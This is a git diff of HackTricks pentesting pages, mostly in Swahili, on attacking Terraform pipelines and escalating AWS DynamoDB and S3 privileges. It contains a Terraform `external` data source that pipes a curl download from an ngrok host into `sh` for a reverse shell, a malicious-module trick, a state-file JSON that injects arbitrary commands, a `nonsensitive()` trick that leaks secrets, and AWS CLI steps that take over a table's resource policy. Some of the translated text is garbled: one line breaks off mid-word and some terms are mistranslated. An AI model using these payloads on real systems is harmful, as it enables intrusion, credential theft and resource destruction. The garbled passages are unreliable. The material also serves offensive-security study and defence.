diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 40fa28c93..47943458d 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,12 +1,12 @@ -# Usalama wa Terraform +# Terraform Security {{#include ../banners/hacktricks-training.md}} -## Taarifa za Msingi +## Basic Information -[Kutoka kwenye nyaraka:](https://developer.hashicorp.com/terraform/intro) +[From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuziandika, kuzitumia tena, na kuzishiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. +HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. #### Terraform inafanya kazi vipi? @@ -18,43 +18,27 @@ HashiCorp na jamii ya Terraform tayari wameandika **watoa huduma zaidi ya 1700** Mtiririko wa msingi wa Terraform unajumuisha hatua tatu: -- **Andika:** Unafafanua rasilimali, ambazo zinaweza kuwa kwenye watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo. -- **Panga:** Terraform inaunda mpango wa utekelezaji unaofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako. +- **Andika:** Unafafanua rasilimali, ambazo zinaweza kuwa katika watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) zikiwa na vikundi vya usalama na balancer ya mzigo. +- **Panga:** Terraform inaunda mpango wa utekelezaji unaelezea miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako. - **Tumia:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual. ![](<../images/image (215).png>) -### Maabara ya Terraform +### Terraform Lab Sakinisha terraform kwenye kompyuta yako. Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una njia [bora ya kupakua terraform](https://www.terraform.io/downloads). -## RCE katika Terraform +## RCE katika Terraform: kuharibu faili ya usanidi -Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi wa terraform**. +Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi za terraform** au **kuwa na uwezo wa kubadilisha faili ya hali ya terraform** (angalia sura hapa chini). -Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kipaumbele** kwenye maeneo tofauti ili iweze kufanya kazi ipasavyo. +Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kijasiri** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hifadhi inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**. -Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/tumia kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: - -{{#ref}} -atlantis-security.md -{{#endref}} - -Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`. - -### Mpango wa Terraform - -Mpango wa Terraform ni **amri inayotumika zaidi** katika terraform na waendelezaji/mifumo inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`. - -**Kutumia mtoa huduma wa nje** - -Terraform inatoa [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data `external` kuendesha msimbo wowote wakati wa `plan`. - -Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha shell ya rev wakati wa kutekeleza `terraform plan`: +Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mp ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -75,7 +59,7 @@ version = "1.0" provider "evil" {} ``` -Mtoa huduma anapakuliwa katika `init` na atatekeleza msimbo mbaya wakati `plan` inatekelezwa. +Mtoa huduma anapakuliwa katika `init` na atakimbia msimbo mbaya wakati `plan` inatekelezwa. Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) @@ -83,15 +67,15 @@ Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec] Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya: -- Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: +- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Unaweza kupata msimbo wa rev shell katika [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **msimbo wa terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya rev shell ya terraform katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply @@ -116,23 +100,51 @@ Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanikisha shambulio hili k ## Mifuko ya Siri -Unaweza kuwa na **thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa** ukikimbia `terraform apply` kwa kuongeza kwenye faili ya terraform kitu kama: +Unaweza kuwa na **thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa** kwa kukimbia `terraform apply` kwa kuongeza kwenye faili la terraform kitu kama: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Kutumia Faili za Hali za Terraform +## Abusing Terraform State Files -Ikiwa una ufikiaji wa kuandika juu ya faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo: +Katika hali ambapo una ruhusa ya kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo. Hata kama ungekuwa na ruhusa ya kuandika kwenye faili za usanidi, kutumia vector ya faili za hali mara nyingi ni ya ujanja zaidi, kwani huacha alama katika historia ya `git`. + +### RCE katika Terraform: uchafuzi wa faili za usanidi + +Inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali bandia inayorejelea mtoa huduma mbaya. + +Mtoa huduma [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) unajenga juu ya utafiti na kuifanya kanuni hii kuwa silaha. Unaweza kuongeza rasilimali bandia na kutaja amri ya bash isiyo na mipaka unayotaka kuendesha katika sifa ya `command`. Wakati mchakato wa `terraform` unapoanzishwa, hii itasomwa na kutekelezwa katika hatua za `terraform plan` na `terraform apply`. Katika hatua ya `terraform apply`, `terraform` itafuta rasilimali bandia kutoka kwa faili ya hali baada ya kutekeleza amri yako, ikijisafisha yenyewe. Taarifa zaidi na onyesho kamili yanaweza kupatikana katika [GitHub repository inayohifadhi msimbo wa chanzo wa mtoa huduma huu](https://github.com/offensive-actions/terraform-provider-statefile-rce). + +Ili kuifanya moja kwa moja, jumuisha tu yafuatayo katika nafasi yoyote ya orodha ya `resources` na ubinafsishe sifa za `name` na `command`: +```json +{ +"mode": "managed", +"type": "rce", +"name": "", +"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]", +"instances": [ +{ +"schema_version": 0, +"attributes": { +"command": "", +"id": "rce" +}, +"sensitive_attributes": [], +"private": "bnVsbA==" +} +] +} +``` +Kisha, mara tu `terraform` itakapotekelezwa, msimbo wako utaendesha. ### Kuondoa rasilimali Kuna njia 2 za kuharibu rasilimali: -1. **Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuondoa** +1. **Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** -Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali: +Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu (ikifuatilia kitambulisho halisi cha rasilimali kilichoonyeshwa). Mfano kutoka ukurasa wa awali: ```json { "mode": "managed", @@ -150,26 +162,11 @@ Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (i ``` 2. **Badilisha rasilimali ili kufuta kwa njia ambayo haiwezekani kuisasisha (hivyo itafutwa na kuundwa upya)** -Kwa mfano wa EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya. +Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya. -### RCE +### Badilisha mtoa huduma aliyeorodheshwa kwenye orodha ya madoa -Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali tupu na mtoa huduma mbaya. Mfano kutoka utafiti wa awali: -```json -"resources": [ -{ -"mode": "managed", -"type": "scaffolding_example", -"name": "example", -"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", -"instances": [ - -] -}, -``` -### Badilisha mtoa huduma aliyeorodheshwa - -Ikiwa unakutana na hali ambapo `hashicorp/external` imeorodheshwa, unaweza kuanzisha upya mtoa huduma `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji wa upya pia. +Iwapo utapata hali ambapo `hashicorp/external` imeorodheshwa kwenye orodha ya madoa, unaweza kuitekeleza tena mtoa huduma `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji wa upya pia. ```terraform terraform { required_providers { @@ -186,16 +183,16 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Zana za Ukaguzi wa Otomatiki +## Vifaa vya Ukaguzi wa Otomatiki ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na fomati nyingine za IaC. +Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC. - **Vipengele:** - Skanning ya wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya kufuata sheria. - Uunganisho na mifumo ya kudhibiti toleo (GitHub, GitLab, Bitbucket). -- Maombi ya kurekebisha otomatiki. +- Maombi ya kurekebisha yaliyotolewa kiotomatiki. - Ushauri wa kina wa kurekebisha. - **Jisajili:** Unda akaunti kwenye [Snyk](https://snyk.io/). ```bash @@ -208,16 +205,16 @@ snyk iac test /path/to/terraform/code **Checkov** ni chombo cha uchambuzi wa msimbo wa statiki kwa miundombinu kama msimbo (IaC) na pia chombo cha uchambuzi wa muundo wa programu (SCA) kwa picha na pakiti za chanzo wazi. -Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua usalama na makosa ya kufuata sheria kwa kutumia uchambuzi wa msingi wa grafu. +Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua makosa ya usalama na kufuata kwa kutumia uchambuzi wa msingi wa grafu. -Inafanya [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Uthibitisho wa Pamoja (CVEs). +Inatekeleza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Uhalifu wa Kawaida (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama msimbo. +Kutoka kwenye [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama msimbo. - **compliance:** Hakikisha kwamba msimbo ulioanzishwa unafuata viwango vya usalama, viwango vyako vya kawaida - **behaviour driven development:** Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC? @@ -227,7 +224,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com - **segregation of duty:** unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika. > [!NOTE] -> Kwa bahati mbaya ikiwa msimbo unatumia baadhi ya watoa huduma ambao huna ufikiaji nao huwezi kufanya `terraform plan` na kuendesha chombo hiki. +> Kwa bahati mbaya, ikiwa msimbo unatumia baadhi ya watoa huduma ambao huna ufikiaji nao, huwezi kufanya `terraform plan` na kuendesha chombo hiki. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -256,18 +253,18 @@ tfsec /path/to/folder Pata udhaifu wa usalama, masuala ya ufuatiliaji, na makosa ya miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx. -**KICS** inasimama kwa **K**uhifadhi **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia. +**KICS** inasimama kwa **K**uendelea **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Kutoka kwenye [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: +Kutoka kwa [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchanganuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: - Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida. - Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya hali, na inaruhusu kurudi kwenye hali salama. - Kugundua udhaifu wa usalama na ukiukaji wa kufuata sheria. -- Kupunguza hatari kabla ya kutoa miundombinu ya asili ya wingu. +- Kupunguza hatari kabla ya kutoa miundombinu ya wingu asilia. - Inatoa kubadilika kukimbia kwa ndani au kuungana na CI\CD yako. ```bash brew install terrascan @@ -278,5 +275,6 @@ brew install terrascan - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) +- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index a9620a642..2ed411f38 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -10,9 +10,58 @@ Kwa maelezo zaidi kuhusu dynamodb angalia: ../aws-services/aws-dynamodb-enum.md {{#endref}} +### `dynamodb:PutResourcePolicy`, na kwa hiari `dynamodb:GetResourcePolicy` + +Tangu Machi 2024, AWS inatoa *sera za msingi wa rasilimali* kwa ajili ya DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)). + +Hivyo, ikiwa una `dynamodb:PutResourcePolicy` kwa meza, unaweza kujipa wewe mwenyewe au mtu mwingine yeyote ufikiaji kamili kwa meza hiyo. + +Kutoa `dynamodb:PutResourcePolicy` kwa mtu yeyote wa bahati nasibu mara nyingi hutokea kwa bahati mbaya, ikiwa wasimamizi wanafikiri kwamba kutoa `dynamodb:Put*` kutaruhusu tu mtu huyo kuweka vitu kwenye hifadhidata - au ikiwa walitoa ruhusa hiyo kabla ya Machi 2024... + +Kwa kawaida, unapaswa pia kuwa na `dynamodb:GetResourcePolicy`, ili usifute ruhusa nyingine muhimu, bali tu uweke ruhusa za ziada unazohitaji: +```bash +# get the current resource based policy (if it exists) and save it to a file +aws dynamodb get-resource-policy \ +--resource-arn \ +--query 'Policy' \ +--output text > policy.json +``` +Ikiwa huwezi kupata sera ya sasa, tumia hii ambayo inatoa ufikiaji kamili juu ya jedwali kwa mhusika wako: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "FullAccessToDynamoDBTable", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::/" +}, +"Action": [ +"dynamodb:*" +], +"Resource": [ +"arn:aws:dynamodb:::table/" +] +} +] +} +``` +Ikiwa unahitaji kuiboresha, hapa kuna orodha ya vitendo vyote vinavyowezekana vya DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Na hapa kuna orodha ya vitendo vyote vinavyoweza kuruhusiwa kupitia sera ya msingi ya rasilimali *NA ni yapi kati ya haya yanaweza kutumika kati ya akaunti (fikiria kuhusu uhamasishaji wa data!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html) + +Sasa, ikiwa hati ya sera `policy.json` iko tayari, weka sera ya rasilimali: +```bash +# put the new policy using the prepared policy file +# dynamodb does weirdly not allow a direct file upload +aws dynamodb put-resource-policy \ +--resource-arn \ +--policy "$(cat policy.json)" +``` +Sasa, unapaswa kuwa na ruhusa ulizohitaji. + ### Post Exploitation -Kuhusu ninavyojua, **hakuna njia ya moja kwa moja ya kupandisha mamlaka katika AWS kwa kuwa na ruhusa za AWS `dynamodb` tu**. Unaweza **kusoma taarifa nyeti** kutoka kwenye meza (ambazo zinaweza kuwa na akreditif za AWS) na **kuandika taarifa kwenye meza** (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika **ukurasa wa DynamoDB Post Exploitation**: +Kuhusu ninavyojua, **hakuna njia nyingine ya moja kwa moja ya kupandisha ruhusa katika AWS kwa kuwa na ruhusa za AWS `dynamodb`**. Unaweza **kusoma taarifa nyeti** kutoka kwa meza (ambazo zinaweza kuwa na akauti za AWS) na **kuandika taarifa kwenye meza** (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika **ukurasa wa DynamoDB Post Exploitation**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index adcbeb35f..dbc2c4044 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ Mshambuliaji mwenye ruhusa hizo juu ya ndoo za kuvutia anaweza kuwa na uwezo wa kuiba rasilimali na kupandisha mamlaka. -Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza kuiba uanzishaji. Ufikiaji unaweza kutolewa kwa sera ifuatayo: +Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza kuiba utekelezaji. Ufikiaji unaweza kutolewa kwa sera ifuatayo: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** ina ] } ``` -Na utekaji ni waweza kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoaded** kwenye bucket hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo itakuwa **inachochea wakati arifa ya bucket inatumwa**, na **hijacks** **maudhui** ya **bucket** hiyo. +Na hijack inapatikana kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoload** kwenye bucket hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo itakuwa **inachochewa wakati arifa ya bucket inatumwa**, na **hijacks** **maudhui** ya **bucket** hiyo. ![](<../../../images/image (174).png>) @@ -44,15 +44,28 @@ Kwa maelezo zaidi angalia utafiti wa asili: [https://rhinosecuritylabs.com/aws/c ### `s3:PutObject`, `s3:GetObject` Hizi ni ruhusa za **kupata na kupakia vitu kwenye S3**. Huduma kadhaa ndani ya AWS (na nje yake) hutumia hifadhi ya S3 kuhifadhi **faili za usanidi**.\ -Mshambuliaji mwenye **ufikiaji wa kusoma** kwao anaweza kupata **taarifa nyeti** juu yao.\ -Mshambuliaji mwenye **ufikiaji wa kuandika** kwao anaweza **kubadilisha data ili kutumia huduma fulani na kujaribu kupandisha mamlaka**.\ +Mshambuliaji mwenye **ufikiaji wa kusoma** anaweza kupata **taarifa nyeti** kwenye hizo.\ +Mshambuliaji mwenye **ufikiaji wa kuandika** anaweza **kubadilisha data ili kutumia huduma fulani na kujaribu kupandisha mamlaka**.\ Hizi ni baadhi ya mifano: -- Ikiwa mfano wa EC2 unahifadhi **data ya mtumiaji kwenye bucket ya S3**, mshambuliaji anaweza kuibadilisha ili **kutekeleza msimbo wowote ndani ya mfano wa EC2**. +- Ikiwa mfano wa EC2 unahifadhi **data za mtumiaji kwenye bucket ya S3**, mshambuliaji anaweza kuibadilisha ili **kutekeleza msimbo wowote ndani ya mfano wa EC2**. + +### `s3:PutObject`, `s3:GetObject` (hiari) juu ya faili ya hali ya terraform + +Ni kawaida sana kwamba faili za [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) za hali zinahifadhiwa kwenye hifadhi ya blob ya watoa huduma wa wingu, e.g. AWS S3. Kiambishi cha faili kwa faili ya hali ni `.tfstate`, na majina ya bucket mara nyingi pia yanaonyesha kuwa yana faili za hali za terraform. Kawaida, kila akaunti ya AWS ina bucket moja kama hiyo kuhifadhi faili za hali zinazoonyesha hali ya akaunti.\ +Pia kawaida, katika akaunti za ulimwengu halisi karibu kila wakati watengenezaji wote wana `s3:*` na wakati mwingine hata watumiaji wa biashara wana `s3:Put*`. + +Hivyo, ikiwa una ruhusa zilizoorodheshwa juu ya faili hizi, kuna vector ya shambulio inayokuruhusu kupata RCE katika pipeline kwa mamlaka ya `terraform` - wakati mwingi `AdministratorAccess`, ikifanya wewe kuwa admin wa akaunti ya wingu. Pia, unaweza kutumia vector hiyo kufanya shambulio la kukataa huduma kwa kufanya `terraform` ifute rasilimali halali. + +Fuata maelezo katika sehemu ya *Kunyanyasa Faili za Hali za Terraform* ya ukurasa wa *Usalama wa Terraform* kwa msimbo wa matumizi moja kwa moja: + +{{#ref}} +terraform-security.md#abusing-terraform-state-files +{{#endref}} ### `s3:PutBucketPolicy` -Mshambuliaji, ambaye anahitaji kuwa **kutoka kwenye akaunti hiyo hiyo**, ikiwa sivyo kosa `Njia iliyoainishwa hairuhusiwi itasababisha`, kwa ruhusa hii ataweza kujipa ruhusa zaidi juu ya bucket(s) akimruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets. +Mshambuliaji, ambaye anahitaji kuwa **kutoka akaunti hiyo hiyo**, ikiwa sivyo kosa `Njia iliyoainishwa 